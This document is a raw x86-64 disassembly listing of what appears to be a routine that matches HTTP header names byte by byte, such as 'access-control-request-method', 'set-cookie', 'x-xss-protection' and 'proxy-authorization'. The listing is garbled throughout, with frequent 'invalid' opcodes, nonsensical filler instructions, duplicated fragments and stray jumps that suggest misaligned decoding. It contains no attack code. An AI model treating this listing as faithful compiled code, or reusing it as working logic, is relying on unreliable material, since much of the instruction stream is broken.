cmp byte [rcx + 0xc], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
jns 0x14002f704
sub eax, 0x165c850f
add byte [rax], al
cmp byte [rcx + 0xf], 0x72
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 0x10], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x71
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 0x13], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x73
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf741579], al
test dword [rsi], edx
invalid
cmp byte [rcx + 0x15], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002ec2e.103
invalid
out dx, al
adc eax, 0x79800000
sbb ah, byte [rdi + rcx - 0x7b]
in al, 0x15
add byte [rax], al
cmp byte [rcx + 0x1b], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1c], 0x72
jne case.0x14002ec2e.103
jns 0x14002f79e
jb 0x14002f793
test eax, edx
adc eax, 0xbb00000
mov al, 0xb
mov dl, 0x73
mov r8d, 0x1d
jmp 0x14002e323
cmp byte [rcx], 0x61
jne case.0x14002ec2e.103
adc eax, 0x79800000
add dword [rbx + 0xf], esp
test dword [rsi - 0x7fffffeb], ebp
jns 0x14002f7b0
cmp byte [rcx + 1], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
movsb byte [rdi], byte [rsi]
invalid
add byte [rax], al
invalid
test dword [rbp + rdx + 0x79800000], esp
movsb byte [rdi], byte [rsi]
adc eax, 0x79800000
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
add esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffeb], ebx
jns 0x14002f7c6
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
jae 0x14002f7d3
test dword [rax - 0x7fffffeb], edx
jns 0x14002f7d1
adc eax, 0x79800000
add eax, 0x86850f73
adc eax, 0x79800000
invalid
cmp byte [rcx + 5], 0x73
jne case.0x14002ec2e.103
jae 0x14002f7dd
test dword [rsi - 0x7fffffeb], eax
jns 0x14002f7dc
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x157c850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx + 0x15], esi
add byte [rax], al
cmp byte [rcx + 7], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x72
jne case.0x14002ec2e.103
invalid
add byte [rax], al
adc eax, 0x79800000
or al, 0x6f
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
movzx edx, byte [rcx + 0xf]
cmp edx, 0x72
je 0x140030cd5
cmp edx, 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x78
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x70
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0x13], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x16], 0x68
jne case.0x14002ec2e.103
cmp byte [rcx + 0x17], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x18], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 0x19], 0x64
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1a], 0x65
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x1b], 0x72
jne case.0x14002ec2e.103
mov al, 9
mov dl, 0x73
mov r8d, 0x1c
jmp 0x14002e323
cmp byte [rcx + 1], 0x70
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf670279], al
test dword [rbx + 0x14], edi
add byte [rax], al
cmp byte [rcx + 2], 0x67
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x64
jne case.0x14002ec2e.103
add eax, 0x5d850f64
adc al, 0
add byte [rax + 0xf650679], al
jns 0x14002f905
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002ec2e.103
jns 0x14002f905
jne case.0x14002ec2e.103
add byte [rax + 0xf2d0779], al
test dword [rcx + 0x14], ecx
add byte [rax], al
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002ec2e.103
invalid
adc al, 0
invalid
xor eax, 0x80000014
jns 0x14002f931
cmp byte [rcx + 0xa], 0x73
jne case.0x14002ec2e.103
jae 0x14002f938
test dword [rbx], ebp
adc al, 0
add byte [rax + 0xf650b79], al
test dword [rcx], esp
and dword [rax + rax], edx
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
and dword [rax + rax], edx
invalid
jne case.0x14002ec2e.103
and dword [rax + rax], edx
add byte [rax + 0xf630c79], al
test dword [rdi], edx
adc al, 0
add byte [rax + 0xf750d79], al
test dword [0xc002f961], ecx
jns 0x14002f95d
cmp byte [rcx + 0xc], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x72
jne case.0x14002ec2e.103
jb 0x14002f960
test dword [rbx], eax
adc al, 0
add byte [rax + 0xf650f79], al
pcmpgtw mm1, qword [rdi]
cmp byte [rcx + 0xf], 0x65
jne case.0x14002ec2e.103
pcmpgtw mm1, qword [rdi]
test ecx, edi
adc eax, dword [rax]
add byte [rax + 0xf2d1079], al
test edi, ebp
adc eax, dword [rax]
add byte [rax + 0xf721179], al
test ebp, esp
adc eax, dword [rax]
add byte [rax + 0xf651279], al
jne case.0x14002ec2e.103
cmp byte [rcx + 0x13], 0x71
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x65
jne case.0x14002ec2e.103
invalid
jns 0x14002f9b5
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x13], 0x71
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x16], 0x73
jne case.0x14002ec2e.103
jae 0x14002f9b0
test dword [rbx - 0x7fffffed], esi
jns 0x14002f9c0
cmp byte [rcx + 0x17], 0x74
jne case.0x14002ec2e.103
invalid
adc eax, dword [rax]
invalid
je 0x14002f9ba
test dword [rcx - 0x4fffffed], ebp
test eax, 0xb0000013
mov al, 0x48
mov dl, 0x73
mov dl, 0x73
mov r8d, 0x18
mov eax, 0x18
jmp 0x14002e323
jmp 0x1b983f9c0
cmp byte [rcx + 1], 0x61
jns 0x14002f9c3
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x78
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x66
jne case.0x14002ec2e.103
jb 0x14002f9f8
add byte [rax], al
jb 0x14002f9f8
add byte [rax], al
cmp byte [rcx + 5], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x72
jne case.0x14002ec2e.103
adc eax, dword [rax]
add byte [rax + 0xf770779], al
test dword [rbx + rdx], edx
add byte [rax + 0xf610879], al
test dword [rdx + 0x13], ecx
add byte [rax], al
cmp byte [rcx + 9], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x64
jne case.0x14002ec2e.103
jns 0x14002fa26
or ah, byte [rdi + rcx - 0x7b]
adc eax, dword ss:[rax]
add byte [rax + 0xfc6e92f], dh
add byte [rax], al
jne case.0x14002ec2e.103
mov al, 0x2f
jmp 0x1400309f0
invalid
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6e0579], al
cmp byte [rcx + 5], 0x6e
jne case.0x14002ec2e.103
test ebp, edi
adc al, byte [rax]
invalid
test ebp, edi
adc al, byte [rax]
add byte [rax + 0xf740679], al
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x2d
sub eax, 0x12e9850f
add byte [rax], al
cmp byte [rcx + 8], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0xb], 0x67
invalid
test ecx, eax
adc al, byte [rax]
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
sub eax, 0x12e9850f
add byte [rax], al
cmp byte [rcx + 8], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xb], 0x67
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
add byte [rax + 0xf740c79], al
test dword [rdi - 0x4fffffee], esi
add byte [rax], al
mov al, 0x18
mov dl, 0x68
mov r8d, 0xd
invalid
jb 0x14002fa97
cmp byte [rcx + 0xc], 0x74
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
mov al, 0x18
mov dl, 0x68
mov r8d, 0xd
jmp 0x14002e323
invalid
cmp byte [rcx + 1], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x62
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6c0379], al
test dword [rdx - 0x7fffffee], ecx
jns 0x14002fad6
cmp byte [rcx + 3], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x69
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0x128085
adc al, byte [rax]
add byte [rax + 0xf630579], al
test dword [rsi + 0x12], esi
add byte [rax], al
cmp byte [rcx + 5], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
test dword [rdx + rdx], ebp
invalid
test dword [rdx + rdx], ebp
add byte [rax + 0xf6b0779], al
test dword [rdx + 0x12], esp
add byte [rax], al
cmp byte [rcx + 7], 0x6b
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x79
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x70
jne case.0x14002ec2e.103
jo 0x14002fb29
test dword [rdx], edi
adc al, byte [rax]
add byte [rax + 0xf690c79], al
test dword [rax], esi
adc al, byte [rax]
cmp byte [rcx + 0xc], 0x69
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6e0d79], al
test dword [rsi], esp
adc al, byte [rax]
add byte [rax + 0xf730e79], al
invalid
jae 0x14002fb47
test dword [rdx + rdx], ebx
add byte [rax], al
cmp byte [rcx + 0xd], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x73
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 0xf], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x72
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x11], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x70
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6f1379], al
test edx, ebp
adc dword [rax], eax
add byte [rax + 0xf721479], al
test eax, esp
adc dword [rax], eax
add byte [rax + 0xf741579], al
cmp byte [rcx + 0x15], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 0x17], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0x18], 0x6e
invalid
cmp byte [rcx + 0x13], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0x15], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x11cc850f
add byte [rax], al
cmp byte [rcx + 0x17], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0x18], 0x6e
jne case.0x14002ec2e.103
sbb byte [rsi + 0xf], ch
test dword [rax - 0x7fffffef], edi
jns case.0x140018f24.887
cmp byte [rcx + 0x19], 0x6c
insb byte [rdi], dx
jne case.0x14002ec2e.103
mov al, 0x35
mov dl, 0x79
mov r8d, 0x1a
jmp 0x14002e323
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
add byte [rax + 0xf630279], al
test dword [rbx - 0x7fffffef], ecx
jns 0x14002fbd4
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x61
jne case.0x14002ec2e.103
invalid
adc dword [rcx], 0x79800000
add al, 0x74
cmp byte [rcx + 4], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x6f
jne case.0x14002ec2e.103
invalid
add byte [rax + 0x416eb22e], dh
mov eax, 7
add byte [rax], al
add cl, ch
invalid
out 0xff, eax
invalid
add byte [rax], al
add cl, ch
invalid
out 0xff, eax
inc dword [rax + 0xf610179]
test dword [rdx + 0x11], ecx
add byte [rax], al
cmp byte [rcx + 1], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x67
jne case.0x14002ec2e.103
mov al, 0x36
mov dl, 0x65
mov r8d, 4
jmp 0x14002e323
cmp byte [rcx + 1], 0x6e
jne case.0x14002ec2e.103
mov al, 0x1f
mov dl, 0x74
mov r8d, 2
jmp 0x14002e323
cmp byte [rcx + 1], 0x69
jne case.0x14002ec2e.103
mov al, 0x4a
mov dl, 0x61
mov r8d, 2
jmp 0x14002e323
cmp byte [rcx + 1], 0x77
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x77
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
xlatb
adc byte [rax], al
invalid
xlatb
adc byte [rax], al
add byte [rax + 0xf610479], al
test ebp, ecx
adc byte [rax], al
add byte [rax + 0xf750579], al
test ebx, eax
adc byte [rax], al
add byte [rax + 0xf740679], al
test dword [rcx - 0x7ffffff0], edi
jns 0x14002fcaa
cmp byte [rcx + 4], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x75
jne case.0x14002ec2e.103
push 0x10af850f
add byte [rax], al
cmp byte [rcx + 8], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
invalid
xchg ecx, eax
adc byte [rax], al
invalid
test dword [rcx - 0x7ffffff0], edx
jns 0x14002fcd6
cmp byte [rcx + 0xb], 0x69
jne case.0x14002ec2e.103
invalid
xchg dword [rax], edx
add byte [rax], al
imul ecx, dword [rdi], 0x108785
add byte [rax + 0xf630c79], al
test dword [rbp + 0x10], edi
add byte [rax], al
cmp byte [rcx + 0xc], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x74
jne case.0x14002ec2e.103
mov al, 0x4c
jmp 0x140030cc8
cmp byte [rcx + 1], 0x2d
jne case.0x14002ec2e.103
test dword [rax + 0x10], ebx
add byte [rax], al
test dword [rax + 0x10], ebx
add byte [rax], al
cmp byte [rcx + 2], 0x78
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
jae 0x14002fd29
test dword [rdx], edi
adc byte [rax], al
add byte [rax + 0xf2d0579], al
test dword [rax], esi
adc byte [rax], al
add byte [rax + 0xf700679], al
test dword [rsi], esp
adc byte [rax], al
add byte [rax + 0xf720779], al
jns 0x14002fd3d
jb 0x14002fd47
cmp byte [rcx + 5], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x70
jne case.0x14002ec2e.103
jns 0x14002fd3d
jb 0x14002fd47
test dword [rax + rdx], ebx
add byte [rax], al
cmp byte [rcx + 8], 0x6f
or byte [rdi + 0xf], ch
test dword [rdx], edx
adc byte [rax], al
add byte [rax + 0xf740979], al
test dword [rax], ecx
adc byte [rax], al
add byte [rax + 0xf650a79], al
test esi, edi
sldt word [rax]
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x6f
jne case.0x14002ec2e.103
mov al, 0x50
jmp 0x140030c87
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x63
jne case.0x14002ec2e.103
jns 0x14002fdaf
invalid
sldt word [rax]
cmp byte [rcx + 5], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x6f
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6b0779], al
test dword [rcx - 0x7ffffff1], ecx
jns 0x14002fddb
cmp byte [rcx + 7], 0x6b
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x69
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0xf7f85
add byte [rax + 0x4165b241], dh
mov eax, 9
mov al, 0x41
mov dl, 0x65
mov r10b, 0x65
mov r8d, 9
jmp 0x14002e323
cmp byte [rcx + 1], 0x66
jne case.0x14002ec2e.103
sldt word [rax]
cmp byte [rcx + 2], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x6d
jne case.0x14002ec2e.103
test dword [rsi], edi
sldt word [rax]
test dword [rsi], edi
sldt word [rax]
cmp byte [rcx + 6], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x64
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x69
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0xf2085
add byte [rax + 0xf660979], al
test dword [rsi], edx
sldt word [rax]
cmp byte [rcx + 9], 0x66
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
jns 0x14002fe5b
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x64
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0xe], 0x73
jne case.0x14002ec2e.103
invalid
jae 0x14002fe7f
test esp, esp
invalid
cmp byte [rcx + 0xf], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 0x10], 0x6e
jne case.0x14002ec2e.103
test eax, edx
invalid
add byte [rax], al
test eax, edx
invalid
cmp byte [rcx + 0x11], 0x63
jne case.0x14002ec2e.103
mov al, 0x2b
mov dl, 0x65
mov r8d, 0x12
jmp 0x14002e323
invalid
invalid
invalid
cmp byte [rcx + 1], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x65
jne case.0x14002ec2e.103
jns 0x14002feb1
jne case.0x14002ec2e.103
test dword [rbx - 0x7ffffff2], esp
jns case.0x140029f23.189
cmp byte [rcx + 3], 0x72
jne case.0x14002ec2e.103
cdq
invalid
add byte [rax], al
jb 0x14002feca
test dword [rcx - 0x7ffffff2], ebx
jns 0x14002fec7
cdq
invalid
cmp byte [rcx + 4], 0x2d
jne case.0x14002ec2e.103
sub eax, 0xe8f850f
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x61
jne case.0x14002ec2e.103
test dword [rsi], ecx
add byte [rax], al
test dword [rsi], ecx
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14002ec2e.103
invalid
jne case.0x14002ec2e.103
add byte [rax + 0xf650779], al
test dword [rcx + 0xe], esi
add byte [rax], al
cmp byte [rcx + 7], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6e
jns case.0x14002ad69.273
or byte [rsi + 0xf], ch
test dword [rdi + 0xe], esp
add byte [rax], al
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
mov al, 0x46
mov dl, 0x74
mov dl, 0x74
mov r8d, 9
jmp 0x14002e323
add byte [rax], al
add cl, ch
and ah, ah
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x78
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x79
jne case.0x14002ec2e.103
jns 0x14002ff26
jns 0x14002ff33
test dword [rax], esi
invalid
cmp byte [rcx + 5], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x61
jne case.0x14002ec2e.103
sbb al, 0xe
add byte [rax], al
sbb al, 0xe
add byte [rax], al
cmp byte [rcx + 7], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002ec2e.103
or byte [rsi], cl
add byte [rax], al
or byte [rsi], cl
add byte [rax], al
cmp byte [rcx + 9], 0x68
jne case.0x14002ec2e.103
push 0xdfe850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x6f
jne case.0x14002ec2e.103
hlt
invalid
add byte [rax], al
invalid
hlt
add byte [rax + 0xf720b79], al
test edx, ebp
or eax, 0x79800000
jns 0x14002ff7e
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x69
jns 0x14002ff7e
imul ecx, dword [rdi], 0xde085
add byte [rax + 0xf7a0d79], al
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x7a
jne case.0x14002ec2e.103
test esi, edx
or eax, 0x79800000
add byte [rax], al
add byte [rax + 0xf610e79], al
test esp, ecx
or eax, 0x79800000
invalid
invalid
invalid
cmp byte [rcx + 0xe], 0x61
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax + 0xf740f79], al
cmp byte [rcx + 0xf], 0x74
jne case.0x14002ec2e.103
pcmpeqb mm1, qword [rdi]
test edx, eax
or eax, 0x79800000
adc byte [rcx + 0xf], ch
test dword [rax - 0x7ffffff3], edi
or eax, 0x79800000
invalid
cmp byte [rcx + 0x10], 0x69
jne case.0x14002ec2e.103
invalid
add byte [rax], al
or eax, 0x79800000
adc dword [rdi + 0xf], ebp
test dword [rsi - 0x4ffffff3], ebp
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x11], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
mov al, 0x33
xor esi, dword [rdx + 0x12b8416e]
add byte [rax], al
add cl, ch
imul esp, ebx, 0x7980ffff
inc dword [rax + 0xf650179]
mov dl, 0x6e
mov r8d, 0x12
adc al, byte [rax]
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
jmp 0x14002e323
inc dword [rax + 0xf650179]
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
test dword [rbp - 0x7ffffff3], edx
jns 0x14002ffc9
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
invalid
test dword [rbx - 0x7ffffff3], ecx
jns 0x14002ffd4
add byte [rax + 0xf2d0379], al
test dword [rcx - 0x7ffffff3], eax
add byte [rax], al
invalid
jns 0x14002ffdf
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
sub eax, 0xd81850f
or dword [0x1b982ffde], 0x850f7704
ja 0x14002ffed
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14002ec2e.103
ja 0x14002ffec
test dword [rdi + 0xd], esi
or eax, 0x79800000
add eax, 0x6d850f65
or eax, 0x79800000
add byte [rax], al
invalid
jns case.0x14002bbcb.145
add byte [rax], al
add byte [rax + 0xf650579], al
test dword [rbp + 0xd], ebp
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14002ec2e.103
invalid
jns case.0x14002bbcb.145
invalid
add byte [rax + 0xf730779], al
test dword [rcx + 0xd], ebx
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
or rax, 0x79800000
or dword [rbx + 0xf], esp
test dword [rbp + 0xd], eax
invalid
add byte [rax], al
cmp byte [rcx + 9], 0x63
jne case.0x14002ec2e.103
invalid
add byte [rax], al
jns 0x140030016
invalid
or eax, 0x79800000
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002ec2e.103
test dword [rbx], edi
invalid
add byte [rax], al
or ch, byte [rbx + 0xf]
test dword [rbx], edi
or eax, 0x79800000
or esp, dword [rbp + 0xf]
test dword [rcx], esi
or eax, 0x79800000
or al, 0x74
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
or eax, 0x1d850f2d
or eax, 0x79800000
add byte [rax], al
invalid
jns 0x14003004d
add byte [rax], al
cmp byte [rcx + 0xe], 0x70
jne case.0x14002ec2e.103
invalid
add byte [rax], al
jns 0x14003004d
jo 0x140030050
test dword [rbx], edx
or eax, 0x79800000
invalid
add byte [rax + 0xf720f79], al
cmp byte [rcx + 0xf], 0x72
jne case.0x14002ec2e.103
jb 0x14003005a
test dword [rcx], ecx
or eax, 0x79800000
adc byte [rdi + 0xf], ch
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002ec2e.103
test edi, edi
or al, 0
add byte [rax + 0xf741179], al
cmp byte [rcx + 0x11], 0x74
jne case.0x14002ec2e.103
test ebp, esi
or al, 0
invalid
test ebp, esi
or al, 0
add byte [rax + 0xf6f1279], al
test ebx, ebp
or al, 0
add byte [rax + 0xf631379], al
test ecx, esp
or al, 0
add byte [rax + 0xf6f1479], al
outsd dx, dword [rsi]
invalid
test edi, edx
xlatb
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0x13], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
xlatb
or al, 0
add byte [rax + 0xb10e93e], dh
add byte [rax], al
mov al, 0x3e
jmp case.0x14002d4f5.113
cmp byte [rcx + 1], 0x2d
jne case.0x14002ec2e.103
movzx edx, byte [rcx + 2]
cmp edx, 0x64
je 0x140030ae3
or al, byte [rax]
add byte [rbx - 0x7af09c06], al
add byte [rax], al
cmp edx, 0x63
jne case.0x14002ec2e.103
mov al, 0xc
add byte [rax], al
mov al, 0xc
add byte [rax], al
cmp byte [rcx + 3], 0x6f
jne case.0x14002ec2e.103
or al, 0
invalid
add ebp, dword [rdi + 0xf]
test dword [rsi - 0x7ffffff4], esp
or al, 0
invalid
invalid
jns case.0x1400289b4.269
invalid
or al, 0
add byte [rax + 0xf6e0479], al
add al, 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x74
invalid
invalid
xchg edx, eax
or al, 0
cmp byte [rcx + 4], 0x6e
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
pushfq
or al, 0
add byte [rax + 0xf740579], al
je 0x1400300d1
cmp byte [rcx + 5], 0x74
jne case.0x14002ec2e.103
invalid
je 0x1400300d1
test dword [rdx - 0x7ffffff4], edx
jns 0x1400300d0
add byte [rax + 0xf650679], al
test dword [rax - 0x7ffffff4], ecx
jns 0x1400300db
cmp byte [rcx + 6], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
add byte [rax + 0xf6e0779], al
test dword [rsi + 0xc], edi
jle 0x1400300e5
cmp byte [rcx + 7], 0x6e
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
jle 0x1400300e5
